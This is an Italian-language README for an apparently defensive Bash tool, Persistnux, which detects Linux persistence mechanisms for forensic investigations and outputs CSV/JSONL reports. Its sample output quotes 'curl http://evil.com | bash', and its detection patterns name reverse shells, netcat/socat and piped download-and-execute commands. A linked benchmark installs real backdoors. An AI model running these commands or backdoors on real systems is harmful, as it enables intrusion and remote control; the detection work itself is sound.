
Strumento di rilevamento della persistenza su Linux basato su Bash per indagini DFIR. Scansiona più di 15 meccanismi di persistenza (systemd, cron, moduli del kernel, SSH, container) con punteggio di confidenza e genera report CSV/JSONL per analisi forensi.
Uno strumento completo per la rilevazione di persistenza su Linux per indagini di Digital Forensics e Incident Response (DFIR).
Persistnux è uno strumento basato su bash progettato per identificare i meccanismi di persistenza Linux noti utilizzati dagli aggressori per mantenere l'accesso a sistemi compromessi. Esegue controlli completi su tutto il sistema e genera report dettagliati in formato CSV e JSONL per analisi successive.
.service) in /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system/etc/crontab, /etc/cron.d/*)/etc/cron.{daily,hourly,weekly,monthly})/etc/cron.allow e /etc/cron.deny — voci che riferiscono utenti inesistenti segnalate/etc/profile, /etc/bash.bashrc, /etc/zshrc)/etc/profile.d/*).bashrc, .bash_profile, .zshrc, .profile, ecc.)/etc/rc.local e varianti/etc/init.d)/etc/rc*.d)/etc/ld.so.preload) — ogni libreria elencata verificata tramite il gestore pacchetti/etc/ld.so.conf, /etc/ld.so.conf.d/) — integrità del file di configurazione + file .so in percorsi non standard scansionati e verificati/etc/environment LD_PRELOAD/LD_LIBRARY_PATH — file env segnalato come ALTO; percorsi di librerie referenziate verificati (non gestiti/modificati → CRITICO)/etc/modprobe.d/, /etc/modprobe.conf) — integrità dei file; direttive install analizzate per bersagli di comandi sospetti; blacklist di moduli di sicurezza (apparmor, selinux, seccomp) segnalati come ALTI/etc/modules, /etc/modules-load.d/) — integrità della configurazione; nomi dei moduli referenziati risolti in file .ko tramite e verificati.config/autostart, /etc/xdg/autostart) — tutte le home utente scansionate quando root/etc/environment) — percorsi di librerie LD_PRELOAD/LD_LIBRARY_PATH verificati/etc/sudoers, /etc/sudoers.d/) — pattern NOPASSWD/ALL → ALTO.so verificati tramite il gestore pacchetti; direttive @include seguite; /etc/pam.conf inclusopam_exec.so — script mancanti/sospetti → CRITICOpam_python.so / pam_perl.so — script estratto e analizzatopam_script.so in ~/.ssh/authorized_keys — chiavi modificate di recente segnalate; contenuto dell'opzione command= analizzato per pattern sospetti~/.ssh/rc — presenza segnalata MEDIO; contenuto sospetto/reverse shell → ALTO/CRITICOdpkg -V su Debian/Ubuntu, rpm -Va su RHEL/CentOS)/usr/bin, /usr/sbin, /bin, /sbin → risultato CRITICO/lib/security → risultato CRITICOinit= di GRUB (/etc/default/grub, /etc/default/grub.d/*.cfg)/pre-pivot che scrivono in /sysroot/etc/shadow/etc/initramfs-tools/scripts/ e /hooks//boot/initrd.img-* modificate di recente (basate su mtime).pkla con ResultAny/ResultInactive/ResultActive=yes incondizionatiunix-user:*).rules con polkit.Result.YES incondizionato (Polkit basato su JavaScript >= 0.106)Exec= (/usr/share/dbus-1/system-services/)allow own="*" o send_destination="*"/etc/NetworkManager/dispatcher.d/)RUN+= che eseguono comandi o script arbitrari (/etc/udev/rules.d/, /lib/udev/rules.d/)/run/udev/rules.d/at/cron in RUN+= (comune bypass delle restrizioni di primo piano)--privileged, --pid=host)docker.sock nei contenitori (controllo completo dell'host tramite API Docker)nsenter -t 1 negli entrypoint dei contenitori o nei Dockerfilegetcap — cap_setuid+ep su GTFOBins → CRITICO.original, .old, .bak, .real) con script wrapper/etc/passwd/etc/passwdauthorized_keys# Clona il repository
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Rendi eseguibile lo script
chmod +x persistnux.sh
# Esecuzione con impostazioni predefinite (mostra solo risultati sospetti)
sudo ./persistnux.sh
# Mostra l'aiuto e tutte le opzioni
./persistnux.sh --help
# Esecuzione come utente normale (ambito limitato)
./persistnux.sh
Per impostazione predefinita, Persistnux mostra solo risultati sospetti (confidenza MEDIA, ALTA, CRITICA) per ridurre il rumore e concentrarsi sulle minacce potenzialmente pericolose.
# Predefinito: Mostra solo risultati sospetti
sudo ./persistnux.sh
# Mostra tutti i risultati inclusa la linea di base (confidenza BASSA)
sudo ./persistnux.sh --all
# OPPURE
sudo FILTER_MODE=all ./persistnux.sh
# Mostra solo risultati con confidenza ALTA e CRITICA
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Combina filtri: solo confidenza ALTA
sudo ./persistnux.sh --min-confidence HIGH
# Specifica una directory di output personalizzata
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Combina con il filtraggio
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
Per impostazione predefinita, Persistnux crea una directory di output ./persistnux_output/ contenente:
persistnux_<hostname>_<timestamp>.csv - Report in formato CSVpersistnux_<hostname>_<timestamp>.jsonl - Report in formato JSONL (un oggetto JSON per riga)persistnux_<hostname>_<timestamp>_report.txt - Report di riepilogo leggibile con conteggi dei risultati e metadati di scansionetimestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
suspicious_script_content, modified_package, unmanaged_binary)Persistnux utilizza un punteggio di confidenza intelligente per ridurre i falsi positivi:
Persistnux ora include diverse funzionalità per ridurre i falsi positivi:
dpkg (Debian/Ubuntu) o rpm (RedHat/CentOS) ricevono punteggi di confidenza inferioriPersistnux segnala automaticamente gli elementi con confidenza maggiore quando rileva:
bash -i >& /dev/tcp/, sh -i >& /dev/udp/nc, netcat, socat, telnetpython -c 'import socket'curl | bash, wget | shcurl URL -o /tmp/file && chmod +xbase64 -d | bash, eval $(echo BASE64)eval, exec/tmp, /dev/shm, /var/tmpchmod +x, chmod 777chmod u+sfind, grep, stat, sha256sum, awk, filesystemctl, lsmod, modinfo, getcap, dpkg/rpm (per controlli specifici)python/jq)Nota: Lo strumento è principalmente testato su sistemi Ubuntu/Debian. Le distribuzioni RedHat, Fedora e basate su RPM hanno il supporto del gestore pacchetti implementato nel codice ma non sono state validate in ambienti di test live. Contributi e report di test per distribuzioni basate su RPM sono benvenuti.
Persistnux è confrontato con PANIX,
che installa gli stessi meccanismi di persistenza che Persistnux cerca. L'harness
ripetibile in tests/panix_benchmark.sh applica ogni
tecnica PANIX, esegue Persistnux e conferma la rilevazione tramite un diff di base.
Ogni tecnica PANIX basata su file applicabile sulla macchina di test viene rilevata
con confidenza MEDIA+. Vedi PANIX_BENCHMARK.md per la tabella
di copertura completa e la metodologia.
⚠️ Il benchmark installa backdoor reali — eseguilo solo in una VM monouso.
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
I contributi sono benvenuti! Sentiti libero di inviare pull request o aprire issue per:
Licenza MIT - Vedi il file LICENSE per i dettagli
Sviluppato per la comunità DFIR per assistere nelle indagini di incidenti Linux e nelle analisi forensi.
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati, risposta agli incidenti e analisi forensi. Gli utenti sono responsabili di assicurarsi di avere l'autorizzazione appropriata prima di eseguire questo strumento su qualsiasi sistema.
Per domande, problemi o contributi, utilizza il tracker dei problemi su GitHub.
modinfolsmod) — enumerazione e verifica dell'integrità/etc/security/pam_env.conf e ~/.pam_environment/etc/security//etc/update-motd.d/) — verifica pacchetto; modificato → CRITICO| Distribuzione | Stato | Note |
|---|
| Ubuntu 22.04 LTS | ✅ Testato | Piattaforma principale di sviluppo e test |
| Ubuntu 20.04 LTS | ✅ Testato | Pienamente supportato |
| Debian 11/12 | ✅ Testato | Basato su dpkg, stesse convenzioni di percorso |
| Kali Linux (rolling) | ✅ Testato | Utilizzato per il benchmark di rilevamento PANIX (vedi sotto) |
| RedHat / RHEL | ⚠️ Non ancora testato | Il supporto rpm è implementato ma non verificato su sistemi live |
| Fedora | ⚠️ Non ancora testato | Il supporto rpm è implementato ma non verificato su sistemi live |
| CentOS / AlmaLinux / Rocky | ⚠️ Non ancora testato | Il supporto rpm è implementato ma non verificato su sistemi live |